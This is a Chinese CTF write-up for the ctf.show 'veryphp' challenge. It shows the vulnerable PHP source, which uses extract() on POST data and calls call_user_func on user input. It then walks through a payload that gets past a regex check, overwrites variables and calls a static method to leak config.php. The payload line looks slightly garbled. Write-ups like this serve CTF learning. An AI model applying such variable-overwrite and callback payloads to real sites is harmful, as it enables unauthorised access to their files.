ctf.show_veryphp

源码·

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

1、第一个preg_match过滤的是str,因为不可控所以不考虑。
2、第二个preg_match是一个正则匹配,可以去这个网址匹配网址,这里有个php特性就是传入特殊字符的话是可以变成_的,比如空格以及加号,这里用空格来做。

PAyload:show root=-e9999999999>>>>abcphp@Rsr

在这里插入图片描述
3、传入之后就可以得到提示了,但是提示是让我们跑密码,很费时间这里可以用到前面的extract函数,覆盖变量就可以满足下面得条件了。
所以最后的payload为

show root=-e9999999999>>>>abcphp@Rsr&ans=1&=SecretNumber=1&my_ans=qwq::oao

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值